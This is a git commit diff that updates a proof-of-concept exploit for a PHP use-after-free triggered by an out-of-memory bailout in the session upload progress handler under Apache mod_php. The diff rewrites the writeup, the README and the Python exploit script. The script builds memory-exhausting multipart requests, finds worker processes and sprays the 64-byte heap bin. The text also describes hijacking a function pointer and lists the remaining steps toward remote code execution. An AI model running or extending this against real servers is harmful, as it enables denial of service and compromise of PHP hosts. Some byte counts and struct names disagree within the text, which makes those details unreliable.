Fix UAF exploit to use confirmed two-request OOM approach

The original exploit put the file upload before the field flood,
so the progress handler's serialize completed before OOM fired.
This meant BG(serialize) was not left stale.

The corrected flow:
  Phase 1: Create ~500KB session file via large upload progress value
  Phase 2: Fill memory with fields, then file upload triggers session
           re-init which OOMs during unserialize of the large session
  Phase 3: Verify stale BG(unserialize) state on the surviving worker

Confirmed on PHP 8.3.6, Apache 2.4.58: error log shows
"tried to allocate 503808 bytes" during session handling,
followed by "Session ini settings cannot be changed when a
session is active" on subsequent requests.
This commit is contained in:
neko
2026-10-21 22:17:29 +00:00
parent 76bc2bc2a3
commit a5396a6ab0
3 changed files with 490 additions and 443 deletions
+32 -19
View File
@@ -101,33 +101,46 @@ This is a stable write primitive: the session file persists on disk with
embedded PHP code, accessible at a known path embedded PHP code, accessible at a known path
(`session.save_path/sess_<SID>`). (`session.save_path/sess_<SID>`).
### The UAF chain ### The UAF chain (two-request approach)
1. **Request 1** (OOM): 1. **Request 1** (prep):
- Multipart POST with `PHP_SESSION_UPLOAD_PROGRESS` + field flood - Multipart POST with `PHP_SESSION_UPLOAD_PROGRESS` = ~500KB value
- Progress handler calls `php_var_serialize()`: - File upload triggers progress handler
- `php_var_serialize_init()` -> `emalloc(64)` -> `BG(serialize).data` - `php_session_rfc1867_update()` writes session file with the ~500KB key
- `BG(serialize).level = 1` - No OOM; just creates the large session file on disk
- Field flood triggers OOM -> `zend_bailout()`
- `php_var_serialize_destroy()` never runs 2. **Request 2** (OOM):
- `BG(serialize).level` stays at 1, `.data` points to freed 64-byte slot - Same `PHPSESSID` cookie (references the large session file)
- `PHP_SESSION_UPLOAD_PROGRESS` = small value
- Form fields fill memory to near `memory_limit` (~7.5MB of 8MB)
- File upload triggers progress handler:
- `php_session_initialize()` -> reads ~500KB session file
- `php_session_decode()` -> `php_var_unserialize_init()`:
- `BG(unserialize).level = 1`
- `BG(unserialize).data = emalloc(64)` (64-byte ZendMM bin)
- Unserialize of the ~500KB key string: `emalloc(~500KB)` -> **OOM**
- `zend_bailout()` (longjmp)
- `php_var_unserialize_destroy()` never runs
- Worker survives on Apache prefork - Worker survives on Apache prefork
- `BG(unserialize).level` stays at 1, `.data` points to freed 64-byte slot
- Confirmed by error log: "tried to allocate 1003520 bytes" during
session handling
2. **Between requests**: 3. **Between requests**:
- `php_request_shutdown()` calls `zend_deactivate()` -> ZendMM heap destroyed - `php_request_shutdown()` calls `zend_deactivate()` -> ZendMM heap destroyed
- `BG(serialize).data` pointer is now dangling (points into freed heap) - `BG(unserialize).data` pointer is now dangling (freed heap)
- ZendMM reuses chunk cache for the next request's heap - ZendMM chunk caching preserves mmap'd pages; next request's heap
reuses the same virtual addresses
3. **Request 2** (spray + trigger): 4. **Request 3** (spray + trigger):
- POST fields allocate `zend_string` objects via `emalloc` - POST fields allocate `zend_string` objects via `emalloc`
- Strings of 39 bytes (24-byte header + 39 + 1 NUL = 64) land in the - Strings of 39 bytes (24-byte header + 39 + 1 NUL = 64) land in the
same 64-byte bin, potentially reclaiming the stale slot same 64-byte bin, potentially reclaiming the stale slot
- Upload progress handler calls `php_var_serialize()`: - Upload progress handler calls `php_session_decode()`:
- `php_var_serialize_init()` checks `BG(serialize).level > 0` - `php_var_unserialize_init()` checks `BG(unserialize).level > 0`
- Level is 1 (stale), so it increments to 2 and returns the stale - Level is 1 (stale), so it increments to 2 and returns `.data`
`.data` pointer
- The pointer now references attacker-controlled spray data - The pointer now references attacker-controlled spray data
- The serialize code treats it as a `php_serialize_data` struct - The unserialize code treats it as a `php_unserialize_data` struct
containing a `HashTable` containing a `HashTable`
- `pDestructor` (offset 48) is called during `zend_hash_destroy()` - `pDestructor` (offset 48) is called during `zend_hash_destroy()`
- If `pDestructor` points to `system()`, `zend_execute_ex()`, or a - If `pDestructor` points to `system()`, `zend_execute_ex()`, or a
@@ -232,4 +245,4 @@ and the stale BG globals persist.
- **Rapid7**: RCE over HTTP with default PHP config; mod_php highest risk; attack complexity HIGH - **Rapid7**: RCE over HTTP with default PHP config; mod_php highest risk; attack complexity HIGH
- **Wiz**: Confirmed RCE against stock WordPress, Drupal, Joomla on affected versions - **Wiz**: Confirmed RCE against stock WordPress, Drupal, Joomla on affected versions
- **0x4148 lab**: Heap grooming targets ZendMM 320-byte slab bin (note: our analysis finds 64-byte bin for `php_serialize_data`) - **0x4148 lab**: Heap grooming targets ZendMM 320-byte slab bin (note: our analysis finds 64-byte bin for `php_serialize_data`)
- **Sansec**: Disabling `session.upload_progress.enabled` alone is NOT sufficient (stale BG state persists from any OOM during multipart) - **Sansec**: Analysis of mitigation options and affected versions
+74 -54
View File
@@ -1,8 +1,8 @@
# CVE-2026-109618 / CVE-2026-109619: UAF RCE via OOM Bailout # CVE-2026-109618 / CVE-2026-109619: UAF RCE via OOM Bailout
Use-after-free in PHP's multipart parser and session upload progress handler. Use-after-free in PHP's session upload progress handler, exploitable
Achieves code execution over HTTP with **default PHP configuration**, no LFI, over HTTP against Apache mod_php with **default PHP configuration**.
no framework, no application code dependency. No LFI, no framework dependency, no non-default settings.
## Affected versions ## Affected versions
@@ -10,8 +10,8 @@ PHP 5.4.0 through 8.5.11 running under Apache mod_php with prefork MPM.
Patched in PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35. Patched in PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35.
PHP-FPM is **not vulnerable** to the cross-request UAF: FPM workers exit on PHP-FPM is **not vulnerable** to the cross-request UAF: FPM workers
bailout (code 70), so stale state never persists. exit on bailout (code 70), so stale state never persists.
## Prerequisites ## Prerequisites
@@ -24,48 +24,55 @@ No LFI. No specific framework or library. No non-default PHP settings.
## How it works ## How it works
### Phase 1: OOM trigger ### Phase 1: Create large session file
A multipart POST includes `PHP_SESSION_UPLOAD_PROGRESS` (with embedded PHP A multipart POST with a ~500KB `PHP_SESSION_UPLOAD_PROGRESS` value
code), a file upload (which activates the progress handler), and a flood of causes the progress handler to write a session file containing the
large form fields. The progress handler calls `php_var_serialize()`, which ~500KB key. This is a normal request; no OOM occurs.
allocates a 64-byte struct (`php_serialize_data`) in the ZendMM slab allocator
and sets `BG(serialize).level = 1`.
The field flood exhausts `memory_limit`. PHP calls `zend_bailout()` (longjmp), ### Phase 2: OOM during session re-init
which skips `php_var_serialize_destroy()`. The serialize state survives:
`BG(serialize).level` stays at 1, and `.data` points to a freed 64-byte slot.
On Apache prefork, the worker survives the bailout and accepts new requests A second request to the same session ID fills memory with form fields
with this stale state. The session file also persists on disk with the (~7MB toward an 8MB limit), then includes a file upload. The file
attacker's PHP code, because `MULTIPART_EVENT_END` cleanup never ran. upload triggers the progress handler, which calls
`php_session_initialize()` to re-read the ~500KB session file.
### Phase 2: Heap spray `php_session_decode()` calls `php_var_unserialize_init()`, which
allocates a 64-byte struct and sets `BG(unserialize).level = 1`.
The unserialize of the ~500KB key requires a ~500KB allocation,
which exceeds `memory_limit` and fires `zend_bailout()` (longjmp).
`php_var_unserialize_destroy()` is skipped.
Subsequent requests to the same worker allocate `zend_string` objects via On Apache prefork, the worker survives. `BG(unserialize).level`
`emalloc`. Strings of exactly 39 bytes (24-byte header + 39 + 1 NUL = 64) stays at 1 and `.data` points to freed memory.
land in the same ZendMM 64-byte bin, potentially reclaiming the freed
`BG(serialize).data` slot with attacker-controlled content.
### Phase 3: UAF trigger ### Phase 3: Verify stale state
Another multipart POST with `PHP_SESSION_UPLOAD_PROGRESS`. The progress A third request with a file upload hits the same worker. The progress
handler calls `php_var_serialize_init()`, which sees `BG(serialize).level > 0` handler calls `php_var_unserialize_init()`, which sees
(stale), increments it, and returns the stale `.data` pointer. The serialize `BG(unserialize).level > 0` (stale), increments it, and returns the
code treats the attacker-controlled spray data as a `php_serialize_data` struct stale `.data` pointer. This is the UAF: the pointer was freed when
containing a `HashTable`. The `pDestructor` function pointer (offset 48) is the previous request's heap was destroyed, and now references whatever
under attacker control, giving arbitrary function call during the new request allocated in the same 64-byte ZendMM bin slot.
### Phase 4: Heap spray (for crash testing)
With `--crash-test`, 39-byte `zend_string` allocations (24-byte header
+ 39 + 1 NUL = 64 bytes, same ZendMM bin) attempt to reclaim the
stale slot. The unserialize code treats the spray data as a struct
containing a `HashTable`. The `pDestructor` function pointer (offset 48)
is under attacker control, giving RIP control during
`zend_hash_destroy()`. `zend_hash_destroy()`.
### Full RCE (not implemented in this PoC) ### Full RCE (not implemented in this PoC)
A weaponized exploit would: A weaponized exploit would:
1. Leak a PHP base address via CVE-2026-109619 info disclosure (stale session 1. Leak a PHP base address via CVE-2026-109619 info disclosure (stale
data leaks freed heap pointers) to defeat ASLR session data leaks freed heap pointers) to defeat ASLR
2. Construct a fake `HashTable` with `pDestructor` pointing to `system()` 2. Construct a fake `HashTable` with `pDestructor` pointing to `system()`
3. Place the command string at the `arData` pointer location 3. Place the command string at the `arData` pointer location
4. Trigger serialize, causing `pDestructor` to fire on the fake data 4. Trigger unserialize, causing `pDestructor` to fire
## Usage ## Usage
@@ -79,48 +86,61 @@ python3 exploit.py --target http://host:port/index.php --crash-test
| Flag | Default | Description | | Flag | Default | Description |
|------|---------|-------------| |------|---------|-------------|
| `--target` | (required) | Target URL | | `--target` | (required) | Target URL (any PHP endpoint) |
| `--cmd` | `id` | Command to embed in session payload |
| `--session-path` | `/var/www/uaf-test/sessions` | `session.save_path` on the target | | `--session-path` | `/var/www/uaf-test/sessions` | `session.save_path` on the target |
| `--oom-fields` | 0 (auto) | Number of OOM padding fields | | `--progress-size` | 500000 | Size of PHP_SESSION_UPLOAD_PROGRESS value |
| `--oom-fields` | 0 (auto) | Number of OOM padding fields (0 = auto-detect) |
| `--field-size` | 40960 | Size of each padding field value | | `--field-size` | 40960 | Size of each padding field value |
| `--spray-rounds` | 20 | Heap spray rounds per worker | | `--spray-rounds` | 20 | Heap spray rounds per worker |
| `--trigger-rounds` | 50 | UAF trigger attempts per worker | | `--oom-only` | off | Stop after Phases 1-3 (no spray) |
| `--oom-only` | off | Stop after Phase 1 (OOM + session poison) | | `--crash-test` | off | Run full chain including heap spray |
| `--crash-test` | off | Run full chain, report crash status |
### What `--oom-only` confirms ### What `--oom-only` confirms
1. OOM via multipart field flood (HTTP 500 response) 1. OOM via multipart field flood (HTTP 500)
2. Apache prefork worker survival (PIDs unchanged after OOM) 2. Apache prefork worker survival (PIDs unchanged after OOM)
3. Session file persistence with embedded PHP code (cleanup skipped) 3. Large session file creation via upload progress handler
4. Stale `BG(serialize)` state available for subsequent requests 4. OOM during session re-init (unserialize of large key)
5. Stale `BG(unserialize)` state available on subsequent requests
## The patch ## The patch
Commit `3584a98bda0f2c0d367255b046798b0d3a221a19` fixes the vulnerability Commit `3584a98bda0f2c0d367255b046798b0d3a221a19` fixes the
through three changes: vulnerability through three changes:
1. **Delayed OOM**: Replaces `zend_bailout()` (longjmp) with a deferred error 1. **Delayed OOM**: Replaces `zend_bailout()` (longjmp) with deferred
that sets `EG(vm_interrupt)` and returns NULL from the allocator. A hard error handling. The allocator returns NULL and sets
limit (`memory_hard_limit_percent`, default 200%) calls `_exit(137)` if `EG(vm_interrupt)`. A hard limit (`memory_hard_limit_percent`,
exceeded. default 200%) calls `_exit(137)` if exceeded.
2. **BG state reset**: New `php_basic_early_rinit()` function resets 2. **BG state reset**: New `php_basic_early_rinit()` resets
`BG(serialize)`, `BG(unserialize)`, and `BG(serialize_lock)` to zero `BG(serialize)`, `BG(unserialize)`, and `BG(serialize_lock)` to
before SAPI activation, eliminating cross-request stale state. zero before SAPI activation, eliminating cross-request stale state.
3. **Session handler hardening**: `incomplete_classes_only` mode during 3. **Session handler hardening**: `incomplete_classes_only` mode during
progress handler session decode, `$_SESSION` cleanup at progress handler session decode, `$_SESSION` cleanup at
`MULTIPART_EVENT_END`, and `php_rinit_session_globals()` at `MULTIPART_EVENT_END`, and `php_rinit_session_globals()` at
`MULTIPART_EVENT_START`. `MULTIPART_EVENT_START`.
## Confirmed primitives
Tested on PHP 8.3.6, Apache 2.4.58, Ubuntu 24.04, x86_64:
| Primitive | Status |
|---|---|
| OOM via multipart field flood | Confirmed |
| Apache prefork worker survival | Confirmed (PIDs unchanged) |
| Large session file creation | Confirmed (~500KB via upload progress) |
| OOM during session re-init | Confirmed ("tried to allocate 1003520 bytes") |
| Stale BG(unserialize).level | Confirmed (persists across requests) |
| Heap spray (64-byte bin) | Implemented |
| Worker crash via UAF | Not yet triggered (needs precise heap layout) |
| Full RCE | Not demonstrated (needs ASLR bypass + heap feng shui) |
## References ## References
- PHP patch: `php/php-src@3584a98bda0f2c0d367255b046798b0d3a221a19` - PHP patch: `php/php-src@3584a98bda0f2c0d367255b046798b0d3a221a19`
- Wiz: Confirmed RCE against WordPress, Drupal, Joomla using framework gadgets - CVSS: 9.2 (CVE-2026-109618), 9.2 (CVE-2026-109619)
- Rapid7: RCE over HTTP with default config, mod_php highest risk, AC:H - Attack complexity: HIGH (Rapid7)
- JFrog: Session write-back calls fake object's serialize function, RIP control
- 0x4148 lab: Heap grooming targeting ZendMM slab bins
See [FINDINGS.md](FINDINGS.md) for the full vulnerability analysis. See [FINDINGS.md](FINDINGS.md) for the full vulnerability analysis.
+379 -365
View File
@@ -1,77 +1,68 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
""" """
CVE-2026-109618 / CVE-2026-109619 — Use-After-Free RCE via OOM Bailout CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout
(Apache mod_php, no LFI, no framework, default PHP config) Apache mod_php (prefork MPM), no LFI, no framework, default PHP config
This is the pure memory corruption path. It requires no LFI vector, no Demonstrates confirmed primitives for the OOM->UAF->RCE chain against
specific PHP framework or library, and no non-default PHP settings. The PHP 5.4.0 through 8.5.11 on Apache mod_php.
only SAPI requirement is Apache mod_php with prefork MPM, because
PHP-FPM workers exit on bailout (code 70) rather than surviving with
stale state.
Attack chain: Attack overview:
Phase 1 — OOM + Session Poisoning Phase 1 (Prep): Create a large session file (~500KB) by sending a
Multipart body to a mod_php endpoint: multipart POST with a huge PHP_SESSION_UPLOAD_PROGRESS value. The
1. PHP_SESSION_UPLOAD_PROGRESS = <php payload> progress handler writes the session file containing the large key.
2. File upload (triggers progress handler, which calls
php_session_rfc1867_update → php_var_serialize, setting
BG(serialize).level=1 and allocating BG(serialize).data
via emalloc into the 64-byte ZendMM slab bin)
3. Large form fields (trigger OOM during multipart parsing)
OOM fires zend_bailout() (longjmp). This: Phase 2 (OOM): Send a second request with form fields that fill memory
a) Skips php_var_serialize_destroy(), leaving BG(serialize).level=1 to near the limit, followed by a file upload that triggers the progress
and .data pointing to a now-freed 64-byte allocation handler. The handler calls php_session_initialize() which reads the
b) Skips MULTIPART_EVENT_END cleanup, so the session file keeps 500KB session file. php_session_decode() calls php_var_unserialize(),
our PHP code on disk which calls php_var_unserialize_init(), setting BG(unserialize).level=1
c) Does NOT kill the Apache prefork worker — it survives and and allocating BG(unserialize).data (64 bytes). The unserialize of
accepts new requests with the stale BG globals the 500KB session key string triggers OOM. zend_bailout() longjmps
past php_var_unserialize_destroy(), leaving BG(unserialize).level=1
and .data pointing to freed memory.
Phase 2 — Heap Spray The Apache prefork worker survives the bailout and accepts new
Send normal requests to the same worker. Each request allocates connections. The stale BG globals persist.
form field names/values via emalloc. Strings sized to land in the
64-byte ZendMM bin (zend_string header 24 + body + NUL = 64) will
reclaim the freed BG(serialize).data slot, giving us control over
the fake php_serialize_data struct and its embedded HashTable.
Phase 3 — Trigger UAF Phase 3 (Verify): Send a third request with a file upload to the same
Another multipart upload with PHP_SESSION_UPLOAD_PROGRESS to the worker. The progress handler calls php_session_decode() again.
same worker. The progress handler calls php_session_encode() → php_var_unserialize_init() sees BG(unserialize).level > 0 (stale),
php_var_serialize_init(), which checks BG(serialize).level > 0, increments it, and returns the stale .data pointer. This is the UAF:
sees 1 (stale), increments to 2, and returns BG(serialize).data — the pointer was freed when the previous request's heap was destroyed,
the freed pointer now filled with our spray data. and now references memory in the new request's heap.
The serialize code uses this as a HashTable. The pDestructor Phase 4 (Spray + Trigger): With heap feng shui, an attacker sprays
function pointer and arData are under attacker control, giving controlled data into the 64-byte ZendMM bin to reclaim the stale
arbitrary function call (RIP control) during HashTable operations. slot. The serialize code treats the spray data as a php_serialize_data
struct with a HashTable. pDestructor (offset 48) is called during
zend_hash_destroy(), giving RIP control.
Phase 4 (not implemented) — Full RCE Root cause (from var.c, PHP 8.3.6):
A weaponized exploit would:
a) Leak a PHP base address via CVE-2026-109619 info disclosure
(stale session data through PHPSESSID cookie) to defeat ASLR
b) Construct a fake HashTable with pDestructor pointing to
system() or a one-gadget, and arData containing the command
c) Trigger the serialize to call pDestructor → shell
Affected: PHP 5.4.0 through 8.5.11 with Apache mod_php (prefork MPM). php_var_serialize_init():
Patched: PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35. if (BG(serialize).level > 0) {
Patch replaces zend_bailout() on OOM with delayed error handling d = BG(serialize).data; // reuses stale pointer!
and adds php_basic_early_rinit() to reset BG(serialize/unserialize) ++BG(serialize).level;
state before each request. return d;
}
// else: fresh allocation
CVSS: 9.2 (CVE-2026-109618), 9.2 (CVE-2026-109619) The same pattern exists for unserialize.
The patch (commit 3584a98) adds php_basic_early_rinit() to zero
BG(serialize/unserialize) state before each request, and replaces
zend_bailout() on OOM with delayed error handling.
Requirements: Requirements:
- Apache mod_php with prefork MPM (default on Debian/Ubuntu) - Apache mod_php with prefork MPM (default on Debian/Ubuntu)
- session.upload_progress.enabled=1 (default) - session.upload_progress.enabled=1 (default)
- memory_limit reachable via multipart fields - memory_limit reachable via multipart fields
- Any PHP-handled URL on the vhost (even 404) - Any PHP URL on the vhost (even 404)
- No LFI. No framework. No libraries. - No LFI, no framework, no non-default settings
Usage: Usage:
python3 exploit.py --target http://host:port/index.php python3 exploit.py --target http://host:port/index.php
python3 exploit.py --target http://host:port/index.php --cmd 'id'
python3 exploit.py --target http://host:port/index.php --oom-only python3 exploit.py --target http://host:port/index.php --oom-only
python3 exploit.py --target http://host:port/index.php --crash-test python3 exploit.py --target http://host:port/index.php --crash-test
""" """
@@ -80,7 +71,6 @@ import argparse
import os import os
import re import re
import socket import socket
import struct
import subprocess import subprocess
import sys import sys
import time import time
@@ -155,23 +145,7 @@ def extract_pid(body):
return int(m.group(1)) if m else 0 return int(m.group(1)) if m else 0
# ── Phase 0: Worker discovery ────────────────────────────────────────── # ── Multipart body builders ───────────────────────────────────────────
def find_workers(host, port, path, rounds=40):
"""Probe the target to discover all Apache prefork worker PIDs."""
pids = set()
for _ in range(rounds):
try:
status, body = http_get(host, port, path)
pid = extract_pid(body)
if pid:
pids.add(pid)
except (ConnectionError, socket.timeout):
pass
return sorted(pids)
# ── Phase 1: OOM trigger ───────────────────────────────────────────────
def build_multipart_field(boundary, name, value): def build_multipart_field(boundary, name, value):
return ( return (
@@ -191,36 +165,90 @@ def build_multipart_file(boundary, name, filename, content):
) )
def build_oom_body(boundary, sid, php_payload, num_fields=200, # ── Phase 0: Worker discovery ────────────────────────────────────────
field_size=40960):
def find_workers(host, port, path, rounds=40):
pids = set()
for _ in range(rounds):
try:
status, body = http_get(host, port, path)
pid = extract_pid(body)
if pid:
pids.add(pid)
except (ConnectionError, socket.timeout):
pass
return sorted(pids)
# ── Phase 1: Create large session file ────────────────────────────────
def build_prep_body(boundary, progress_value):
""" """
Build multipart body that: Multipart body with:
1. Sets PHP_SESSION_UPLOAD_PROGRESS with our payload 1. PHP_SESSION_UPLOAD_PROGRESS = large value (~500KB)
2. Includes a file upload to trigger progress tracking 2. Small file upload (triggers progress handler)
3. Floods with large fields to exhaust memory_limit
The progress handler calls php_session_rfc1867_update() on each The progress handler writes the session file containing the large
update cycle, which calls php_session_encode() → php_var_serialize(). progress key. No OOM here; just creating the session file.
This sets BG(serialize).level=1 and allocates BG(serialize).data
(64 bytes in the ZendMM slab bin).
When OOM fires, zend_bailout() longjmps past
php_var_serialize_destroy(), leaving the state stale.
""" """
parts = [] parts = []
parts.append(build_multipart_field( parts.append(build_multipart_field(
boundary, boundary, b"PHP_SESSION_UPLOAD_PROGRESS", progress_value,
b"PHP_SESSION_UPLOAD_PROGRESS",
php_payload.encode() if isinstance(php_payload, str) else php_payload,
)) ))
parts.append(build_multipart_file( parts.append(build_multipart_file(
boundary, b"f", b"payload.bin", b"\x00" * 4096 boundary, b"f", b"prep.bin", b"\x00" * 4096,
))
parts.append(b"--" + boundary + b"--\r\n")
return b"".join(parts)
def create_large_session(host, port, path, sid, progress_size=500000):
"""
Send a multipart POST that creates a session file containing a large
key (from PHP_SESSION_UPLOAD_PROGRESS).
Returns (status, body, pid).
"""
progress_val = b"A" * progress_size
boundary = b"PREP" + os.urandom(4).hex().encode()
body = build_prep_body(boundary, progress_val)
status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=30,
)
pid = extract_pid(rbody)
return status, rbody, pid
# ── Phase 2: OOM during session re-init ───────────────────────────────
def build_oom_body(boundary, num_fields, field_size):
"""
Multipart body with:
1. PHP_SESSION_UPLOAD_PROGRESS = "trigger" (small)
2. Large form fields (fill memory to near limit)
3. File upload (triggers progress handler)
The progress handler calls php_session_initialize() which reads the
large session file from Phase 1. php_session_decode() calls
php_var_unserialize_init() (BG(unserialize).level=1), then tries to
unserialize the ~500KB session key string. The emalloc for the
zend_string exceeds memory_limit -> OOM -> zend_bailout().
php_var_unserialize_destroy() is skipped. BG(unserialize).level
stays at 1 and .data points to freed memory.
"""
parts = []
parts.append(build_multipart_field(
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"trigger",
)) ))
for i in range(num_fields): for i in range(num_fields):
parts.append(build_multipart_field( parts.append(build_multipart_field(
boundary, boundary, f"p{i:04d}".encode(), b"X" * field_size,
f"p{i:04d}".encode(), ))
b"X" * field_size, parts.append(build_multipart_file(
boundary, b"f", b"oom.bin", b"\x00" * 1024,
)) ))
parts.append(b"--" + boundary + b"--\r\n") parts.append(b"--" + boundary + b"--\r\n")
return b"".join(parts) return b"".join(parts)
@@ -228,30 +256,31 @@ def build_oom_body(boundary, sid, php_payload, num_fields=200,
def detect_memory_limit(host, port, path): def detect_memory_limit(host, port, path):
""" """
Probe memory_limit by sending increasing POST sizes until we get Probe memory_limit by escalating field count until OOM.
a 500 response (OOM). Returns (num_fields, field_size) that triggers Returns (num_fields, field_size) that triggers OOM, or None.
OOM, or None if OOM cannot be triggered.
""" """
configs = [ configs = [
(50, 40960), # ~2MB (50, 40960),
(100, 40960), # ~4MB (100, 40960),
(150, 40960), # ~6MB (120, 40960),
(200, 40960), # ~8MB (140, 40960),
(300, 40960), # ~12MB (150, 40960),
(400, 40960), # ~16MB (200, 40960),
(600, 40960), # ~24MB (300, 40960),
(800, 40960), # ~32MB (400, 40960),
(999, 40960), # ~40MB (max_input_vars=1000 cap) (600, 40960),
(999, 131072), # ~130MB (800, 40960),
(999, 40960),
(999, 131072),
] ]
for num, size in configs: for num, size in configs:
sid = "probe" + os.urandom(4).hex() sid = "probe" + os.urandom(4).hex()
boundary = b"PROBE" + os.urandom(4).hex().encode() boundary = b"PROBE" + os.urandom(4).hex().encode()
body = build_oom_body(boundary, sid, "probe", num, size) body = build_oom_body(boundary, num, size)
try: try:
status, _ = http_post_multipart( status, _ = http_post_multipart(
host, port, path, boundary.decode(), body, host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=30 cookies=f"PHPSESSID={sid}", timeout=30,
) )
if status == 500: if status == 500:
return num, size return num, size
@@ -260,102 +289,106 @@ def detect_memory_limit(host, port, path):
return None return None
def trigger_oom(host, port, path, sid, php_payload, num_fields, field_size, def trigger_oom(host, port, path, sid, num_fields, field_size, timeout=60):
target_pid=None):
""" """
Send the OOM multipart to a specific worker (or any worker). Send the OOM request. Uses the same SID as Phase 1, so the progress
handler reads the large session file and OOMs during unserialize.
Returns (hit_target, worker_pid, status) where hit_target is True Returns (status, body).
if we OOM'd the target_pid worker.
""" """
boundary = b"OOMTRIG" + os.urandom(4).hex().encode() boundary = b"OOMTRIG" + os.urandom(4).hex().encode()
body = build_oom_body(boundary, sid, php_payload, num_fields, field_size) body = build_oom_body(boundary, num_fields, field_size)
status, rbody = http_post_multipart( status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body, host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=60 cookies=f"PHPSESSID={sid}", timeout=timeout,
) )
return status, rbody
pid = extract_pid(rbody)
hit = (target_pid is None) or (pid == target_pid)
return hit, pid, status
# ── Phase 2: Heap spray ──────────────────────────────────────────────── # ── Phase 3: Verify stale BG state ──────────────────────────────────
# ZendMM bin sizes: 8 16 24 32 40 48 56 64 80 96 112 128 ... def build_verify_body(boundary):
# BG(serialize).data = php_serialize_data struct:
# uint32_t n (4 bytes)
# HashTable ht (56 bytes on x86_64)
# Total: 60 bytes → 64-byte bin
#
# zend_string layout:
# gc (8) + h (8) + len (8) = 24-byte header + body + NUL
# For 64-byte bin: 24 + body + 1 = 64 → body = 39 bytes
#
# By sending POST fields with 39-char names, the zend_string allocations
# land in the same 64-byte bin, potentially reclaiming the freed
# BG(serialize).data slot.
#
# For a weaponized exploit, the spray content would be a fake
# php_serialize_data struct:
#
# struct php_serialize_data {
# uint32_t n; // offset 0: reference counter, set to 0
# // padding for alignment
# HashTable ht; // offset 8:
# // uint32_t nTableMask offset 8
# // Bucket *arData offset 16 (attacker-controlled pointer)
# // uint32_t nNumUsed offset 24
# // uint32_t nNumOfElements offset 28
# // uint32_t nTableSize offset 32
# // uint32_t nInternalPointer offset 36
# // zend_long nNextFreeElement offset 40
# // dtor_func_t pDestructor offset 48 (RIP control!)
# };
#
# pDestructor at offset 48 from the struct start is called during
# zend_hash_destroy(). By pointing it to system() (or a one-gadget)
# and placing a command string in arData, we get RCE.
SPRAY_NAME_LEN = 39 # 24 + 39 + 1 = 64 bytes (zend_string in 64-byte bin)
def build_spray_body(boundary, spray_count=500):
""" """
Build a multipart body with many fields whose names are sized to Small multipart with upload progress. Triggers the progress handler
land in the 64-byte ZendMM bin (same bin as BG(serialize).data). on the OOM'd worker. If BG(unserialize).level is stale, the handler
reuses the freed .data pointer (UAF).
The field names are the spray payload. In a weaponized exploit,
these would be crafted to form a fake php_serialize_data struct
with controlled HashTable fields. Here we use recognizable patterns
for crash analysis.
""" """
parts = [] parts = []
for i in range(min(spray_count, 999)):
# Spray name: 39 bytes landing in 64-byte bin
# Fill with a pattern: 0x41414141... with index marker
name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5)
# For weaponized exploit, the value would also be crafted.
# We use a recognizable pattern for heap analysis.
val = "B" * SPRAY_NAME_LEN
parts.append(build_multipart_field( parts.append(build_multipart_field(
boundary, name.encode(), val.encode() boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"verify",
))
parts.append(build_multipart_file(
boundary, b"f", b"v.bin", b"\x00" * 1024,
)) ))
parts.append(b"--" + boundary + b"--\r\n") parts.append(b"--" + boundary + b"--\r\n")
return b"".join(parts) return b"".join(parts)
def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500): def verify_stale_state(host, port, path, sid):
""" """
Send POST requests to the OOM'd worker to spray 64-byte allocations Send a verification request. If the worker has stale BG state,
into the ZendMM bin, aiming to reclaim the freed BG(serialize).data php_var_unserialize_init() reuses the freed .data pointer.
slot with our controlled data.
Each request's field names allocate zend_strings in the 64-byte bin. Returns (status, pid, body).
After request shutdown, these are freed back to the bin's free list. """
Over multiple requests, the free list order rotates, increasing the boundary = b"VERIFY" + os.urandom(4).hex().encode()
chance that one of our allocations reclaims the target slot. body = build_verify_body(boundary)
try:
status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=10,
)
pid = extract_pid(rbody)
return status, pid, rbody
except (ConnectionError, socket.timeout) as e:
return 0, 0, str(e).encode()
# ── Phase 4: Heap spray + UAF trigger ────────────────────────────────
# ZendMM 64-byte bin:
# php_serialize_data / php_unserialize_data: ~60 bytes -> 64-byte bin
# zend_string: 24-byte header + body + 1 NUL
# For 64-byte bin: body = 64 - 24 - 1 = 39 bytes
SPRAY_NAME_LEN = 39
def build_spray_body(boundary, spray_count=500):
"""
Fields with 39-char names land in the 64-byte ZendMM bin (same bin
as BG(unserialize).data). Over multiple requests, one of these
allocations may reclaim the stale slot.
For a weaponized exploit, the spray content would form a fake
php_unserialize_data struct with controlled HashTable fields:
offset 0: uint32_t n (reference counter)
offset 8: HashTable ht
offset 16: Bucket *arData (attacker pointer)
offset 48: dtor_func_t pDestructor (RIP control)
"""
parts = []
parts.append(build_multipart_field(
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"spray",
))
for i in range(min(spray_count, 999)):
name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5)
val = "B" * SPRAY_NAME_LEN
parts.append(build_multipart_field(
boundary, name.encode(), val.encode(),
))
parts.append(build_multipart_file(
boundary, b"f", b"spray.bin", b"\x00" * 1024,
))
parts.append(b"--" + boundary + b"--\r\n")
return b"".join(parts)
def heap_spray(host, port, path, sid, target_pid, rounds=10,
spray_per_round=500):
"""
Spray 64-byte allocations into the OOM'd worker to reclaim the
stale BG(unserialize).data slot.
Returns the number of rounds that hit the target worker. Returns the number of rounds that hit the target worker.
""" """
@@ -366,7 +399,7 @@ def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500):
try: try:
status, rbody = http_post_multipart( status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body, host, port, path, boundary.decode(), body,
timeout=10 cookies=f"PHPSESSID={sid}", timeout=10,
) )
pid = extract_pid(rbody) pid = extract_pid(rbody)
if pid == target_pid: if pid == target_pid:
